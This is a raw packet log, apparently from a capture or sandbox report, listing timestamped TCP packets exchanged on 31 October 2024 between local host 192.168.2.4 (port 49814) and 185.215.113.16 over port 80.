Oct 31, 2024 04:16:09.647604942 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647614002 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647622108 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647630930 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647643089 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647644997 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647663116 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647674084 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647681952 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647697926 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647701979 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647747040 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647747993 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647763968 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647778988 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647794962 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647804976 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647828102 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647841930 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647856951 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647871971 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647886992 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647891045 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647916079 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647941113 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648001909 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648016930 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648035049 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648061037 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648089886 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648170948 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648184061 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648212910 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648227930 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648237944 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648247957 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648262024 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648277044 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648283958 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648291111 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648298025 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648307085 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648315907 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648323059 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648338079 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648344994 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648370981 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648371935 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648387909 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648402929 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648418903 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648427963 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648442030 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648443937 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648467064 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648469925 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648483038 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648490906 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648497105 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648499966 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648516893 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648520947 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648531914 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648550987 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648550987 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648585081 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648607016 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648618937 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648641109 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648646116 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648657084 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648672104 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648678064 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648693085 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648701906 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648710012 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648726940 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648736000 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648765087 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648776054 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648780107 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648808956 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648818970 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648840904 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648844004 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648857117 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648869038 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648869038 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648874998 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648888111 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648888111 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648900032 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648910046 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648922920 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648926020 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648941040 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648958921 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.648960114 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648974895 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648983002 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.648988962 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.649003029 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.649013042 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.649013042 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.649019003 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.649034977 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.649049997 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.649053097 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.649053097 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.649063110 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.649077892 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.649085045 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.649095058 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.649111032 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.649116993 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.649136066 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.649156094 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.716963053 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.716989040 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717039108 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717050076 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717058897 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717076063 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717087984 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717103958 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717113972 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717123032 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717149973 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717140913 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717178106 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717200994 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717219114 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717221022 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717227936 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717240095 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717257977 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717264891 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717276096 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717291117 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717298031 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717307091 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717322111 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717329979 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717329979 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717344046 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717360973 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717366934 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717381001 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717401981 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717417002 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717428923 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717437029 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717451096 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717461109 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717472076 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717497110 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717502117 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717509031 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717528105 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717530966 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717550993 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717564106 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717578888 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717581987 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717611074 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717619896 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717619896 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717648983 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717650890 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717681885 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717684984 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717698097 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717714071 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717739105 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717747927 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717762947 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717767954 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717778921 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717791080 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717797995 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717799902 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717813969 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717823029 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717829943 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717830896 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.717852116 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717869997 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.717951059 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718003035 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718019009 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718050003 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718065023 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718086958 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718102932 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718148947 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718151093 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.718172073 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718194008 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.718205929 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.718406916 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718422890 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718452930 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718462944 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.718467951 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718485117 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718492031 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.718497992 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718519926 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.718548059 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.718575954 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718588114 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718601942 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718624115 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.718645096 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.718669891 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718684912 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718698978 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718718052 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.718723059 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718739986 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718741894 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.718767881 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.718786001 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.718939066 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718964100 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.718978882 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.719007969 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.719012976 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.719027996 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.719047070 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.719063997 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.719086885 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.762438059 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.762465954 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.762481928 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.762501001 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.762516975 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.762579918 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.762624979 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.762660027 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.762676954 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.762722015 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.762890100 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.762923956 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.762939930 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.762948036 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.762954950 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.762969971 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.762974977 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.762985945 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763026953 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.763045073 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763061047 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763087034 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.763114929 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.763134956 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763149023 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763161898 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763180971 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.763211012 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.763294935 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763381004 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763420105 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.763446093 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763478994 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763494015 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763581991 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763597012 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763606071 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763642073 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.763642073 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.763673067 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763695955 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763716936 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763720989 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.763724089 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763747931 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763750076 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.763765097 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763773918 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.763781071 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763792992 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.763797998 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763819933 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.763848066 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.763890028 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763905048 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763945103 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763952017 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.763969898 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.763986111 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764008999 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764008999 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764035940 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764048100 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764050961 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764064074 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764079094 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764089108 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764095068 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764108896 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764108896 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764126062 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764132977 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764132977 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764161110 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764178038 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764188051 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764203072 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764215946 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764230013 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764233112 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764245033 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764252901 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764261007 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764276981 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764281034 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764295101 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764300108 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764319897 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764338970 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764404058 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764450073 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764560938 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764580965 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764597893 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764605045 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764614105 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764625072 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764631033 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764635086 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764652967 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764669895 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764678001 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764693022 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764708042 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764725924 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.764735937 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764744043 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.764763117 CET	49814	80	192.168.2.4	185.215.113.16
